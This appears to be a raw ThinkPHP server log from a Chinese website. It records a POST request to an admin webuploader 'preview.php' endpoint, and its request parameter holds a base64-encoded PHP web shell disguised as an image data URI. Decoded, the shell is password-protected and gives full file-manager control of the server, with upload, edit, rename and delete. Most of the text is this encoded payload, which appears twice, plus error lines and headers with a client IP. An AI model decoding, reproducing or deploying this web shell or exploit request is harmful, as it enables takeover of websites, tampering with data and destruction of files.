iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:34:00+08:00 ] 116.213.36.234 POST www.51tianwei.com/admin/include//webuploader/0.1.15/server/preview.php [运行时间:0.002811s] [吞吐率:355.72req/s] [内存消耗:196.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'include', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLi